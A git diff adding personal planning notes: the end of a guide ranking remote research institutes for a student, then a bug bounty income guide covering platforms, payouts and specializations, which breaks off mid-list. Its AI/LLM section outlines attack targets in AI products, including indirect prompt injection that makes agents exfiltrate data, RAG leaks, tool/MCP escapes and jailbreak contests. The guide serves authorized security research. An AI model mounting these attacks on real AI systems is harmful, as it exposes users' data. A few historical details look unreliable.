https://www.uaf.edu/toolik/ + +**Practical note for Kris:** UAF affiliation only helps if the goal is "stay in the US for now but in the actual wilderness." Many UAF graduate students do live in the Bush part-time while maintaining advisor relationships. This is the only US institution where genuinely remote living is institutionally normal. + +## 5. Remote Affiliation / External Scholar Models + +This is the linchpin of Kris's undergrad-period plan: get formal affiliation he can keep while physically in the US. Most universities do not formally support this. The few that do, and the realistic mechanisms: + +| Mechanism | Institutions where it works | What it gives | +|-----------|---------------------------|----------------| +| External Faculty | Santa Fe Institute (https://www.santafe.edu/people/external-faculty) — small invited group, by election. Not a path you apply for cold. | Library access, collaboration, no residency | +| Associate / Affiliate | Perimeter Institute "Associate Faculty", joint with a home university; not free-standing. Stellenbosch STIAS Fellow alumni retain network status. | Continued program access | +| Visiting Researcher | OIST has rolling 1-week to 6-month visits (https://www.oist.jp/research-units/research-internship-program). ICTP Trieste runs a generous Associate Scheme for scientists from developing countries, Kris would not qualify as a US citizen. | Travel + brief residency, repeatable | +| ICTP Associate Scheme | https://www.ictp.it/programmes/career-development — US ineligible. Mention because it is the gold standard of remote-affiliation models. | +| Independent Scholar | AIMS alumni network; STIAS Iso Lomso early-career fellowship for African scholars (https://stias.ac.za/iso-lomso/) | Long-term reconnection rights | +| Weizmann Visiting Scientist | https://www.weizmann.ac.il/scientific-archives/visitor — typical stays 1-12 months | Office, library, return travel often funded | +| Research affiliate via PhD alumni status | OIST, IST Austria, Weizmann all maintain alumni research access | Library + email indefinitely in some cases | +| CERN User | https://users.cern/ — requires sponsorship by a member-state institute, but durable across years | Building access, CERN-org email | + +**Honest assessment.** The "remote affiliate from US undergrad" path is *not* a standard product anywhere. The realistic plan is: do a summer school or short visit at the target institute as an undergrad, publish or collaborate with someone there, enroll for PhD or postdoc and *then* leverage alumni / external-faculty status afterward. The institutional concept of "I am a US undergrad who wants library access to your institute" is not on offer at any of these places. What is on offer is short-stay programs that scaffold into deeper ties. + +## 6. Application & Admission Paths From a US Undergrad + +Concrete pipelines for the strongest candidates: + +**OIST** +- Research Internship Program, 2-6 months, undergrads or recent grads, full stipend + travel + housing. https://admissions.oist.jp/internship — two cohorts per year (March, October). +- PhD program, fully funded, English, ~30 students per year. https://admissions.oist.jp/ + +**AIMS network** +- AIMS Quantum Leap Africa Master's, AIMS structured Master's. https://nexteinstein.org/admissions/ +- Lecturers rotate from global universities; Kris could attend specific 3-week course modules as a research visitor. + +**IMPA** +- Summer Program at IMPA, January each year, undergrad through PhD level, courses in Portuguese and English. https://impa.br/en_US/eventos-do-impa/eventos-2026/ +- PhD program admits internationals. + +**ICTS Bangalore** +- Program-based visiting student application for each long program. https://www.icts.res.in/program — selected programs welcome undergrads. + +**IST Austria** +- ISTernship summer research program for undergrads. https://phd.pages.ist.ac.at/isternship/ +- PhD program in English. https://phd.ist.ac.at/ + +**KAUST** +- KAUST Visiting Student Research Program (VSRP), paid, 3-6 months. https://www.kaust.edu.sa/en/study/visiting-student-research-program-vsrp +- KAUST Gifted Student Program (KGSP) is now ended for non-Saudis; VSRP is the live path. + +**ICTP-SAIFR** +- Schools and workshops year-round, many for early-career. https://www.ictp-saifr.org/ + +**Weizmann** +- Karyn Kupcinet International Science School (summer, undergrads). https://www.weizmann.ac.il/feinberg/kupcinet-international/ +- Feinberg PhD program. https://www.weizmann.ac.il/feinberg/ + +**CECs Valdivia** +- No formal undergrad summer program. Path is to email researchers directly (small institute, low bureaucracy). + +**Bariloche / Instituto Balseiro** +- Has its own undergraduate physics program (years 3-5 after an Argentine licenciatura), so visiting from a US BS is unusual. Postdoc and short-visit path is open. https://www.ib.edu.ar/ + +**Funding for travel:** +- Fulbright (https://us.fulbrightonline.org/), country-specific. Active in Japan, South Korea, India, South Africa, Chile, Brazil, Austria, Switzerland, Israel. +- DAAD, Germany only, **exclude** for Kris's filter. +- Schwarzman Scholars, China (Tsinghua), one-year master's. https://www.schwarzmanscholars.org/ +- Knight-Hennessy Scholars, Stanford-based, not relevant directly. +- Yenching Academy of Peking University — https://yenchingacademy.pku.edu.cn/ +- Boren Awards, US gov, would compromise Kris's intel-distance posture; **avoid**. +- NSF GRFP, usable for PhD at any institution including international, but Kris already needs a PhD admit. +- Marshall Scholarship, UK only, exclude. +- Rhodes, UK only, exclude. +- Churchill Scholarship, UK only, exclude. + +The Fulbright is the most flexible non-compromising travel funder. The Schwarzman is the China-specific premium option. + +## 7. Practical Realities + +For the top candidates: visa burden for a US passport, working language, English in the surrounding city, cost of living vs. stipend, climate, internet, banking, healthcare. + +| Institution | Country | Visa for US | Working lang | English in city | Internet | Climate | Stipend vs CoL | +|---|---|---|---|---|---|---|---| +| OIST | Japan | Visa-free 90d tourist; student/work visa straightforward | English | Limited in Onna; better in Naha | Excellent | Subtropical, typhoons | Generous | +| KIAS | S. Korea | Visa-free 90d; D-2/D-10 paths smooth | English in research | Strong in Seoul | World-class | Continental | Strong | +| IST Austria | Austria | 90d Schengen; Red-White-Red card straightforward | English | Vienna near-universal | Excellent | Continental | Strong | +| DIAS | Ireland | Visa-free 90d; ICT/study permits smooth | English | Native | Good | Mild, rainy | Mid | +| STIAS | South Africa | Visa-free 90d for US | English | Native | Adequate, some load-shedding | Mediterranean | Strong (USD goes far) | +| IMPA | Brazil | Visa-free 90d (reinstated 2025); VITEM for longer | Portuguese / English | Patchy, improving | Good in Rio | Subtropical | OK; Rio expensive | +| CECs Valdivia | Chile | Visa-free 90d; researcher visa smooth | Spanish | Limited | Good in Valdivia | Cool, rainy | OK | +| Bariloche IB | Argentina | Visa-free 90d | Spanish | Limited | OK | Patagonian alpine | Currency volatile | +| KAUST | Saudi Arabia | Sponsored work/student visa | English | English fine inside campus, limited outside | Excellent (campus is a fiber bubble) | Hot, arid | Extremely generous | +| Weizmann | Israel | Visa-free 90d | English in research | Strong | Excellent | Mediterranean | Strong | +| TIFR/ICTS | India | Tourist visa easy; research visa more involved | English | Strong in metros | Variable | Tropical/subtropical | Stipend stretches far | +| YMSC Tsinghua | China | Visa required (M, X, Z) | English in research, Mandarin daily | Limited outside campus | Restricted (GFW; need VPN for personal use) | Continental | Stipend strong locally | +| Akademgorodok | Russia | Currently very difficult for US citizens; sanctions, banking exposure, mobilization-adjacent risk | Russian | Limited | OK | Severe winters | N/A practically | + +**Banking note.** US citizens face FATCA reporting in every foreign country, which makes some local banks refuse to open accounts. Wise, Revolut, and similar fintech rails cover the gap. **Russia and Iran cut US cards off entirely** post-2022. + +**Internet note.** China requires a VPN to maintain Kris's existing online life (krisyotam.com, GitHub, Tailscale). VPNs are technically illegal but widely used in academic settings. The institutional VPN at YMSC/SIMIS is usable for research; personal homelab tunneling is risky. + +**Healthcare note.** Austria, Switzerland, Japan, South Korea, Israel, Brazil, Chile, Argentina all have high-quality systems accessible to residents at low cost. Saudi Arabia covers KAUST residents through campus medical. South Africa's public system is weak; private is excellent but expensive. + +## 8. Ranked Top 5 + +A weighted ranking against Kris's stated criteria: IAS-archetype × non-14-Eyes × remoteness × beauty × English-friendliness × admission-realism for a US undergrad-to-PhD path. + +| Rank | Institution | Country | 14E | English | Remote | IAS-arch | Kris-fit | +|---|---|---|---|---|---|---|---| +| 1 | OIST | Japan | No | Yes | 9 | 10 | **10** | +| 2 | STIAS / AIMS-SA | South Africa | No | Yes | 7 | 9 | **9.5** | +| 3 | CECs Valdivia | Chile | No | Research yes / city no | 9 | 8 | **9** | +| 4 | IST Austria | Austria | No | Yes | 4 | 10 | **8.5** | +| 5 | IMPA | Brazil | No | Research yes / city Portuguese | 5 | 10 | **8.5** | + +**Why this order:** + +1. **OIST.** Almost designed for Kris: subtropical Pacific oceanfront, English-language, IAS-style charter (no departments, interdisciplinary), fully funded PhD, a Research Internship Program that takes US undergrads. The one institution where every constraint relaxes simultaneously. + +2. **STIAS + AIMS-South Africa.** Two institutions on the same axis (Cape Town / Stellenbosch / Muizenberg). AIMS gives an entry path (their structured master's or research-centre route), STIAS gives the IAS aesthetic for later-career fellowship. Wine country, Table Mountain, English. The vibe is the closest match in the world to "Princeton IAS but in a beautiful place." + +3. **CECs Valdivia.** The cleanest single-shot match for the remote/beautiful axis. Small private institute, theoretical physics + glaciology, Patagonian forest and rivers. Spanish daily life is a real cost. No undergrad pipeline, Kris would need to email researchers directly and convert that into a PhD or postdoc visit later. The CV ceiling is lower than IMPA, but the call-home rating is highest. + +4. **IST Austria.** The "European loophole" pick. Non-14-Eyes, English, IAS-archetype-by-design, modern campus in a forest 30 min from Vienna. Less remote than the others. But the admission pipeline (ISTernship to PhD) is the cleanest of any institute on the list, and the institute is rising in math/CS quality fast. + +5. **IMPA.** Top-tier mathematics globally, Atlantic Forest setting, no undergrad teaching obligation for researchers. Portuguese is a learning cost; Rio is expensive and not remote. But the math is real and the institute culture is genuinely IAS-coded. + +**Honorable mentions just below the top 5:** KAUST (extraordinary funding, Red Sea, but social constraints in Saudi Arabia are a meaningful "call home" cost); Weizmann (perfect culturally but Israel's geopolitical exposure is non-trivial); Yau Mathematical Sciences Center, Tsinghua (excellent for math but China carries personal-information-environment costs Kris already filters against by avoiding 14 Eyes); Bariloche / Instituto Balseiro (beauty rating 10/10 but the institutional charter is more teaching-heavy than the IAS archetype). + +## 9. Long-Shots & Exotic Options + +**Antarctica.** No standalone research institutions, all stations are operated by national programs. McMurdo and South Pole are US (USAP). Concordia is French/Italian (both 14 Eyes). Vostok is Russian. The British Antarctic Survey runs Halley/Rothera (UK, 14 Eyes). Argentina runs Belgrano II, Chile runs Frei. The only **non-14-Eyes** Antarctic affiliations available are through Argentina, Chile, India (Maitri/Bharati), South Africa (SANAE), China, Brazil (Comandante Ferraz), Japan (Showa). Of these, **Chile and Argentina are the practical ones for a US researcher**, via collaboration with INACH (https://www.inach.cl/) or DNA (https://www.dna.gob.ar/). + +**Svalbard / UNIS.** Excellent Arctic research center on Spitsbergen, biology + geophysics + Arctic technology. https://www.unis.no/, but Norway is 14 Eyes. Note for personal curiosity, exclude formally. + +**Mongolia.** National University of Mongolia (https://num.edu.mn/) has a math department; no IAS-archetype institute. Beautiful country, sparse research infrastructure. + +**Bhutan.** Royal Thimphu College (https://www.rtc.bt/) and Royal University of Bhutan. No advanced math research infrastructure. Beautiful, isolated, deeply non-aligned. + +**Iceland.** University of Iceland (https://english.hi.is/), small math department, geophysics strong. Reykjavík is small and expensive. Non-14-Eyes. + +**Tashkent / Almaty.** Steklov Mathematical Institute has historically had collaboration with Uzbek and Kazakh institutes. Institute of Mathematics named after V.I. Romanovskiy, Tashkent (https://mathinst.uz/en). Kazakhstan: Institute of Mathematics and Mathematical Modeling, Almaty. Central Asian math has deep Soviet roots and is genuinely underexplored. + +**Cuba.** University of Havana. US OFAC restrictions on Cuba travel make formal academic affiliation logistically tortured for US citizens; exclude on legal grounds. + +**Iran.** IPM (Institute for Research in Fundamental Sciences, Tehran, https://www.ipm.ac.ir/) is a genuine IAS-archetype institute. US-Iran posture makes any formal affiliation effectively impossible for a US citizen. Note for the record only. + +**Vietnam Institute for Advanced Study in Mathematics (VIASM).** Hanoi. https://viasm.edu.vn/, fully English at the research level, founded by Ngô Bảo Châu, IAS-modeled. + +**Nesin Mathematics Village.** Şirince, Turkey. https://nesinkoyleri.org/en/math-village/, not an institute in the formal sense, but a stone-village summer mathematical community. Real, genuinely beautiful, has produced research output. Worth a visit. + +## 10. Building the Ivory Tower Remotely + +Independent of any single institution: the deeper plan is to construct the scholarly home Kris wants regardless of affiliation. This is the **independent scholar** tradition. It has a real history: + +- **Grothendieck** after 1991 left IHES, settled in Lasserre, and continued writing thousands of pages of unpublished manuscript ("Récoltes et Semailles," "La Clef des Songes") with no institutional support. Affiliation, in the end, was incidental to his work. +- **Perelman** declined affiliations and prizes; lived in St. Petersburg with his mother during the years he proved the Poincaré conjecture. +- **Marcel Tolkowsky**, **Wittgenstein** (mid-career, in Skjolden), **Heidegger** in Todtnauberg, the cabin-and-library tradition is robust. + +The practical components Kris already has in place or can build: + +- **Personal homelab as research infrastructure.** STARGATE is a real asset. A 1 TB shared compute store, Jupyter behind Tailscale, sage / mathlib / Lean infrastructure, plus arxiv mirrors, gives an independent scholar a working environment that 90% of university researchers do not have. +- **Private library.** Buy books. Hard copies. A 2000-volume math library is acquirable over 20 years for the price of one mid-tier car. +- **Reading-group networks.** Mathematicians work in tiny correspondence circles. The number of people anywhere on Earth who care about whatever subfield Kris ends up in will be under 50. Their email addresses are public. Read their papers, send corrections, propose problems. +- **Posting under your own name.** A maintained domain (krisyotam.com) with research notes, expository pieces, and worked problems is, over a decade, more durable signal than most CVs. Tao did this. Lurie does this with Kerodon. Cao Ye does this in Chinese-language math blogging. +- **The arXiv is the actual institution.** Affiliation matters for arXiv only in the sense of needing an initial endorsement. Once endorsed, the arXiv is the real publication infrastructure of mathematics, and it is jurisdictionally American but institutionally autonomous. +- **One real affiliation, used lightly.** The goal of the institutional shopping above is to acquire *one* working affiliation that gives library access (JSTOR, MathSciNet, SpringerLink), an `.edu`-equivalent email, and a backstop for the rare moments when a formal letter is needed. OIST, IST Austria, AIMS-SA, and Weizmann are the best four for this combined purpose. The Ivory Tower in the long run is the homelab + the library + the network + the lightest possible institutional veneer. + +The strategic move during US undergrad: target OIST's Research Internship Program for one summer, an AIMS structured Master's lecture-block visit for another, and apply to STIAS later for a fellowship. Build relationships, accumulate co-authorship, and let one of these institutions become the place where the PhD lands. Then, after the PhD, use alumni affiliation to maintain library and email access while living wherever the work is best done, Patagonia, Okinawa, Akademgorodok, or a cabin in interior Alaska. diff --git a/doc/income/bank.md b/doc/income/bank.md new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/income/bug-bounty.md b/doc/income/bug-bounty.md new file mode 100644 index 0000000000000000000000000000000000000000..35b5d7211b6671b1c554ef41b0d8d93269d5f286 --- /dev/null +++ b/doc/income/bug-bounty.md @@ -0,0 +1,314 @@ +--- +title: "Bug Bounty as an Income Stream" +subtitle: "Platforms, programs, specializations, and what hunters actually earn" +audience: "Kris Yotam (Linux/C/Python/Rust, OSCP track, math background, AI-security interest)" +related: "./pentest.md (cert + career-path side)" +last_updated: 2026-05-20 +--- + +# Bug Bounty as an Income Stream + +This is the platforms-and-programs side. The cert track, formal pentesting employment, OSCP/OSWE/OSEP planning, and Synack Red Team vetting live in [./pentest.md](./pentest.md). Read that first if you want the career-path angle; this document assumes you already know what XSS and a reverse shell are. + +## 1. Major BB Platforms — Head-to-Head + +| Platform | Founded | Model | Median public bounty | Top single payout (public) | Notes | +|---|---|---|---|---|---| +| [HackerOne](https://hackerone.com) | 2012 | Public + private + managed | ~$500 (web), ~$2.5k (high) | $1M+ (Google/Apple chains via H1-managed) | Biggest brand. Live Hacking Events (LHEs). Best AI/LLM crossover. | +| [Bugcrowd](https://bugcrowd.com) | 2012 | Public + private + managed (VRT-graded) | ~$400 | ~$200k (Tesla/automotive) | Hosts OpenAI, Tesla, Atlassian. CrowdMatch invites. | +| [Intigriti](https://intigriti.com) | 2016 | Public + private | €500 median | €100k+ (EU OSS bounties) | EU-headquartered (Belgium). Hosts EU-funded OSS programs. Triage reputation is the strongest of the big-four. | +| [YesWeHack](https://yeswehack.com) | 2015 | Public + private | €300-€500 | €50k+ | EU/Asia/MEA. Strong in finance + telco in France, Singapore, Germany. | +| [Synack Red Team](https://synack.com) | 2013 | Vetted private only | hourly + bounty hybrid | n/a public | Application + skills test + background check. See pentest.md SRT section. | +| [Immunefi](https://immunefi.com) | 2020 | Web3 / smart contracts | $1k-$10k typical | $10M (Wormhole, capped) | Highest absolute payouts in the industry. ~90% of top web3 bounties live here. | +| [Cantina](https://cantina.xyz) | 2023 | Web3 audits + competitive contests | varies | $500k+ contest pots | Spearbit's competitive arm. Solo bounties + crowd audits. | +| [Code4rena](https://code4rena.com) | 2021 | Web3 competitive audit contests | n/a (contest pots) | $1M+ pots | Contest-style; you compete with other auditors, payouts split by severity weighting. | +| [Sherlock](https://sherlock.xyz) | 2022 | Web3 contests + coverage | n/a (contest pots) | $1M+ pots | Insurance-backed audit contests; Watson rank system. | +| [HackenProof](https://hackenproof.com) | 2017 | Public + web3 | $500-$5k | ~$1M | Eastern-European origin, growing web3 share. | +| [Federacy](https://www.federacy.com) | 2016 | Public/private | Low | Low | Small program list; mostly startups. Worth a skim, not a primary platform. | +| [Open Bug Bounty](https://openbugbounty.org) | 2014 | Non-paid coordinated disclosure | $0 | $0 | Reputation-only. Useful for first-time CVE-ish writeups, not income. | + +**Ranking for a serious researcher in 2026:** + +1. **HackerOne** broadest program list. OpenAI is not here but Anthropic, GitHub, PayPal, Shopify, DoD, GitLab are. Best LHE pipeline. +2. **Immunefi** if you can do Solidity audits at all, the expected hourly here beats every other platform combined. The catch is the skill ramp. +3. **Bugcrowd** for OpenAI, Tesla, Atlassian, and roughly half the Fortune 500 private programs. +4. **Intigriti** fastest-growing, best triage, and EU public-sector programs you cannot get elsewhere. +5. **Code4rena / Sherlock / Cantina** pick one as a "compete on weekends" platform once you have Foundry skills. +6. **YesWeHack** fine as a secondary, especially if you want Asian/EU enterprise scope. +7. **Synack** covered in pentest.md; it is hybrid contractor/bounty work, not pure BB. + +## 2. Top-Paying Public Programs (2025-2026 Snapshot) + +| Program | Platform / URL | Scope highlights | Typical range | Top tier | Notes | +|---|---|---|---|---|---| +| Apple Security Bounty | [security.apple.com/bounty](https://security.apple.com/bounty/) | iOS/macOS/iCloud/Secure Enclave | $5k-$250k | **$2M** for full zero-click iOS chain with persistence | Slow triage, world-class engineers reviewing. | +| Google VRP | [bughunters.google.com](https://bughunters.google.com/) | All Google products | $100-$31,337 | $605k+ paid for Android chains | Fast-ish triage; very clear severity guide. | +| Chrome VRP | [g.co/chrome/vrp](https://g.co/chrome/vrp) | Chromium renderer/sandbox/IPC | $500-$250k | $250k for sandbox escape full chain | Memory-safety bug heaven; Rust folks have an edge. | +| Android Security Rewards | [bughunters.google.com](https://bughunters.google.com/about/rules/android-friends/) | AOSP, Pixel, Tensor | $500-$1M | $1M Pixel TEE | Hardware + kernel skills required for top tier. | +| Microsoft Bug Bounty | [microsoft.com/msrc/bounty](https://www.microsoft.com/en-us/msrc/bounty) | Azure, M365, Identity, Copilot, Windows insider | $500-$250k | $250k Hyper-V | Different sub-programs per product; read each carefully. | +| Meta Bug Bounty | [bugbounty.meta.com](https://bugbounty.meta.com/) | FB / IG / WhatsApp / Quest / Llama | $500-$300k | $300k+ chains | Source-code-aided research for invited researchers. | +| Amazon VRP | [hackerone.com/amazonvrp](https://hackerone.com/amazonvrp) | AWS, retail, devices, Alexa | $100-$25k | varies | AWS-side has its own program at [aws.amazon.com/security/vulnerability-reporting](https://aws.amazon.com/security/vulnerability-reporting/). | +| OpenAI | [bugcrowd.com/openai](https://bugcrowd.com/openai) | API, ChatGPT, plugins, infra | $200-$6.5k typical | $20k+ for critical infra | See section 3. Model jailbreaks are OUT of scope. | +| Anthropic | [hackerone.com/anthropic](https://hackerone.com/anthropic) plus separate model-safety program | Claude API, claude.ai, infra | $1k-$15k | $30k+ via separate model-safety program | Two-program structure: classical AppSec on H1, model-safety/universal-jailbreak elsewhere (see section 3). | +| GitHub | [hackerone.com/github](https://hackerone.com/github) | github.com, Actions, Codespaces | $617-$30k+ | $30k+ | Long-running, top-tier reputation. | +| GitLab | [hackerone.com/gitlab](https://hackerone.com/gitlab) | gitlab.com + self-managed | $1k-$35k | $35k+ | Generous on auth/RCE. | +| PayPal | [hackerone.com/paypal](https://hackerone.com/paypal) | Payments, Braintree, Venmo | $50-$30k | $30k+ | Fast triage, picky on impact. | +| Stripe | [bugcrowd.com/stripe](https://bugcrowd.com/stripe) | All Stripe surface | $500-$30k | $30k+ | Tight scope, high quality bar. | +| Square / Block | [hackerone.com/block](https://hackerone.com/block) | Cash App, Square, Tidal | $100-$25k | $25k+ | | +| Uber | [hackerone.com/uber](https://hackerone.com/uber) | rider, driver, eats, freight, infra | $500-$50k | $50k+ | Mature program; lots of duplicate noise. | +| Shopify | [hackerone.com/shopify](https://hackerone.com/shopify) | shop.app, admin, apps | $500-$50k | $50k+ | Famous LHE host. Strong reputation rewards. | +| Cloudflare | [hackerone.com/cloudflare](https://hackerone.com/cloudflare) | edge, Workers, Zero Trust | $250-$10k+ | varies | Workers/Pages bugs pay well. | +| Tesla | [bugcrowd.com/tesla](https://bugcrowd.com/tesla) | Vehicles, app, energy, infra | $100-$200k | **$200k+** for vehicle CAN/infotainment | Pwn2Own automotive parity. | +| US DoD (Hack the Pentagon) | [hackerone.com/deptofdefense](https://hackerone.com/deptofdefense) | .mil + DoD vendors (varies by event) | $0-$25k | $25k for select events | Most engagements pay; the public VDP does not. Prestige + clearance signal. | +| EU OSS (intigriti-hosted) | [intigriti.com/programs](https://app.intigriti.com/programs) | Drupal, Mastodon, FileZilla, etc. | €500-€10k | €25k+ | EU Commission funds bounties on critical OSS. | +| Wormhole (Immunefi) | [immunefi.com/bug-bounty/wormhole](https://immunefi.com/bug-bounty/wormhole/) | Cross-chain bridge | $50k-$2.5M | **$10M cap** | One of the largest live bounties on earth. | +| Aave (Immunefi) | [immunefi.com/bug-bounty/aave](https://immunefi.com/bug-bounty/aave/) | DeFi lending | $10k-$1M | $1M+ | | +| MakerDAO / Sky (Immunefi) | [immunefi.com/bug-bounty/makerdao](https://immunefi.com/bug-bounty/makerdao/) | DAI/USDS stablecoin | $10k-$10M | $10M cap | | +| Optimism (Immunefi) | [immunefi.com/bug-bounty/optimism](https://immunefi.com/bug-bounty/optimism/) | L2 rollup | $50k-$2M+ | $2M+ | | +| Arbitrum (Immunefi) | [immunefi.com/bug-bounty/arbitrum](https://immunefi.com/bug-bounty/arbitrum/) | L2 rollup | $10k-$2M | $2M+ | | +| Polygon (Immunefi) | [immunefi.com/bug-bounty/polygontechnology](https://immunefi.com/bug-bounty/polygontechnology/) | PoS, zkEVM | $10k-$2M | $2M+ | | + +Time-to-pay reputation (broadly): GitHub, Shopify, Stripe, GitLab fast. Apple, Google, Microsoft slow but reliable. Tesla, Uber variable. Immunefi top programs pay within 2-8 weeks of fix deploy; KYC required above roughly $10k. + +## 3. AI / LLM-Specific Bug Bounties + +This is your declared niche, so it gets a real treatment. The most important framing: **classical AppSec bugs in AI products pay far better than novel alignment attacks.** A prompt injection that exfiltrates another user's chat history via the plugin sandbox is an IDOR + SSRF story dressed in LLM clothing, and it pays IDOR + SSRF money, not "interesting paper" money. + +### Programs + +| Program | URL | What pays | What does not | +|---|---|---|---| +| OpenAI | [bugcrowd.com/openai](https://bugcrowd.com/openai) | API auth/authz, infra RCE/SSRF, plugin/connector escapes, sandbox bypasses, account takeover, IDOR on chat/file resources, privilege escalation in Operator/Codex/Atlas, billing tampering | **Model jailbreaks, prompt injections producing disallowed content, hallucinations, factual errors, model-safety / alignment issues** explicitly out of scope of the paid program. OpenAI routes those through a separate (mostly non-monetary) [model-vulnerability reporting form](https://openai.com/form/model-vulnerability-report). Typical critical payouts: $6.5k-$20k. | +| Anthropic classical | [hackerone.com/anthropic](https://hackerone.com/anthropic) | API/web/infra bugs in claude.ai, console, integrations | Same exclusions as above (jailbreaks, refusal-evasion). | +| Anthropic model safety | Separate invite/contest programs (e.g. universal-jailbreak prizes, constitutional-classifier challenges) | Universal jailbreaks of specific safeguards, with reproduction recipe | One-off contests; not a steady income. | +| Google (Bard/Gemini under VRP + AI VRP) | [bughunters.google.com](https://bughunters.google.com/) (see AI rules) | Account takeover, data exfiltration via Workspace/Drive Gemini integration, prompt-injection-led data leaks, model theft, training data leakage | Pure refusal-evasion ("I made it curse"). | +| Microsoft Copilot | [microsoft.com/msrc/bounty-microsoft-ai](https://www.microsoft.com/en-us/msrc/bounty-microsoft-ai-bounty-program) | Copilot for M365/Edge/Windows, including indirect prompt injection that leads to data exfiltration. Critical: $20k-$30k+ | Hallucinations, "uncomfortable" content, low-impact prompt injection. | +| xAI / Grok | [hackerone.com/x](https://hackerone.com/x) covers X + Grok | Account takeover via Grok integrations, training-data leakage, RCE | Jailbreaks. | +| Hugging Face | [huggingface.co/security](https://huggingface.co/security) (private, request invite) | Account takeover, model-card XSS, Spaces sandbox escape, dataset poisoning vectors | Public AI-hub triage is faster than the giants. | +| Meta / Llama | [bugbounty.meta.com](https://bugbounty.meta.com/) | All FB/IG/Llama infra; Llama Guard bypasses with impact | Pure jailbreaks. | +| Replicate, Together.ai, Fireworks, Perplexity, Mistral | Bug-bounty pages on company sites or [security.txt](https://securitytxt.org/) of each | RCE in inference sandbox, billing/abuse, account takeover | Smaller payouts ($500-$5k typical), faster triage. | + +### Status paths (non-monetary but career-forming) + +- [**HackAPrompt**](https://www.hackaprompt.com/) (2023, recurring) Learn Prompting + AI Village competition. Established the prompt-injection field; winners get hired. +- [**AI Village at DEF CON**](https://aivillage.org/) generative red-team competitions (the 2023 White House GRT, the 2024 follow-ups). Speaking here is a credential. +- [**OWASP LLM Top 10**](https://genai.owasp.org/llm-top-10/) the canonical taxonomy. LLM01 prompt injection through LLM10 supply chain. Use the IDs in your reports; triagers know them. +- [**MITRE ATLAS**](https://atlas.mitre.org/) adversarial ML taxonomy. Useful for framing model-extraction / data-poisoning reports. + +### Where the easy wins are in AI products (in 2026) + +1. **Indirect prompt injection that lands a real impact** agentic systems (Operator, Atlas, Gemini-in-Workspace, Copilot Studio) that read attacker-controlled content and then act with the user's privileges. This is the single hottest 2026 category. +2. **RAG data leaks** system prompts, embedding-DB content, other users' chunks. Treat the vector DB as a data store and look for IDOR / auth. +3. **Plugin / tool / MCP server escapes** SSRF and RCE through a function-calling tool that takes URLs or shell args. Classic AppSec, AI surface. +4. **Auth and sharing bugs in chat/file resources** IDOR on share links, conversation IDs, file IDs, project IDs. +5. **Sandboxing escapes** code interpreter / "Advanced Data Analysis"-style containers. +6. **Billing / abuse** free-tier bypass, refund logic, account spam, model-cost evasion. + +Your math + Python + Rust profile is unusually well suited to the agent / tool-use surface. That is the lane. + +## 4. Specializations and Their Economics + +| Specialization | Bug payout range | Realistic hourly when productive | Supply / demand | Ramp | +|---|---|---|---|---| +| Web app (classical OWASP) | $100-$5k | $50-$200/hr | Heavily saturated | 1-3 months from PortSwigger to first paid bug | +| Mobile (Android) | $500-$30k | $100-$300/hr | Moderate | 2-4 months: Frida, jadx, objection, Burp | +| Mobile (iOS) | $500-$50k+ | $150-$400/hr | Low supply | 4-8 months; needs jailbroken device or Corellium | +| API security | $250-$10k | $80-$250/hr | Growing | Easiest fast-win lane for newcomers | +| IDOR / access control | $250-$15k | $100-$300/hr | Always wanted | 1-2 months; mostly methodology | +| Subdomain takeover / cloud misconfig | $100-$5k | wildly variable | Saturated by automation | Days; automate or skip | +| SSRF / cloud metadata | $500-$25k+ | $150-$400/hr | Perennial | 1-3 months | +| OAuth / SSO / SAML | $1k-$50k | $200-$500/hr when found | Specialist | Steep; needs careful spec reading | +| Source-aided / invited audits | $1k-$50k+ | $200-$500/hr | Invite-only | Earn it on public programs first | +| Web3 / smart contracts | $1k-$10M | $200-$1000/hr top tier | Strong demand, top auditors scarce | 6-12 months serious study: Solidity, EVM, Foundry, Slither | +| Browser exploits | $30k-$250k+ | n/a — long projects | Tiny supply | Years; sandbox + v8/SpiderMonkey internals | +| Mobile OS exploits | $200k-$2M | n/a — long projects | Tiny supply | Years; only worth it for full chains | +| Hardware / firmware | $5k-$200k | $100-$500/hr | Niche | Months; needs hardware + JTAG + glitching | +| AI/LLM (applied AppSec angle) | $500-$30k | $100-$300/hr | Booming, undersupplied | 2-4 months on top of a solid web-app base | + +The AI/LLM line above is the income-realistic take. The "win the universal-jailbreak prize" line is closer to a contest payout than a steady stream. + +## 5. Realistic Income Data + +Public sources: HackerOne's [Hacker-Powered Security Report](https://www.hackerone.com/resources/reporting/the-7th-annual-hacker-powered-security-report) (7th edition, 2023-2024 data), Bugcrowd's [Inside the Mind of a Hacker](https://www.bugcrowd.com/resources/reports/inside-the-mind-of-a-hacker/) reports, and Immunefi's [annual web3 bug bounty stats](https://immunefi.com/research/). + +| Cohort | Annual gross | +|---|---| +| Casual hunter (10 hours/week or less) | **$0-$5k** most never get a valid first bug | +| Active hunter (10-20 hours/week, year one) | **$3k-$15k** | +| Year-two specialist | **$20k-$60k** | +| Top 1% on a platform | **$150k-$500k** | +| Top 10 globally across all platforms (roughly 50 people total) | **$500k-$3M+** | +| Top web3 auditors (handful) | **$1M-$10M+** in a single payout year | + +**Median for active hunters is widely cited as roughly $0.** Most reports submitted are duplicates, informational, or N/A. Among hunters who get even one bug paid in a year, the median is closer to $1k-$3k. The mean is dragged up by a tiny number of full-timers. + +Going full-time before you have roughly $80k in trailing-12-month earnings is a budget-killer. The income variance is the real story: 6-month droughts between $40k criticals are routine. + +Public earners worth following (their writeups, not their dollar figures, are what matters): +- [@brutelogic](https://brutelogic.com.br/) XSS legend +- [@nahamsec](https://nahamsec.com/) plus his streams +- [@infosec_au](https://twitter.com/infosec_au) (Shubs) recon at scale +- [@cdl](https://twitter.com/cdl) assetnote / now Searchlight Cyber +- [@samwcyo](https://samcurry.net/) Sam Curry, automotive and API bugs +- [@stokfredrik](https://twitter.com/stokfredrik) methodology streamer +- [@samczsun](https://samczsun.com/) top-tier smart-contract auditor; writeups are textbook material +- [@inversecos](https://www.inversecos.com/) cloud forensics +- [@orange_8361](https://blog.orange.tw/) top-tier server-side and proxy bugs + +## 6. Workflow and Tools + +Brief, since you live in Linux. Treat the BlackArch laptop as the bounty rig; keep BB recon out of `~/dev/` and into a separate `~/recon/` or `~/ops/<program>/` tree with strict per-program directories so scope mistakes cannot happen. + +### Recon stack + +- [amass](https://github.com/owasp-amass/amass), [subfinder](https://github.com/projectdiscovery/subfinder), [assetfinder](https://github.com/tomnomnom/assetfinder) subdomain enum +- 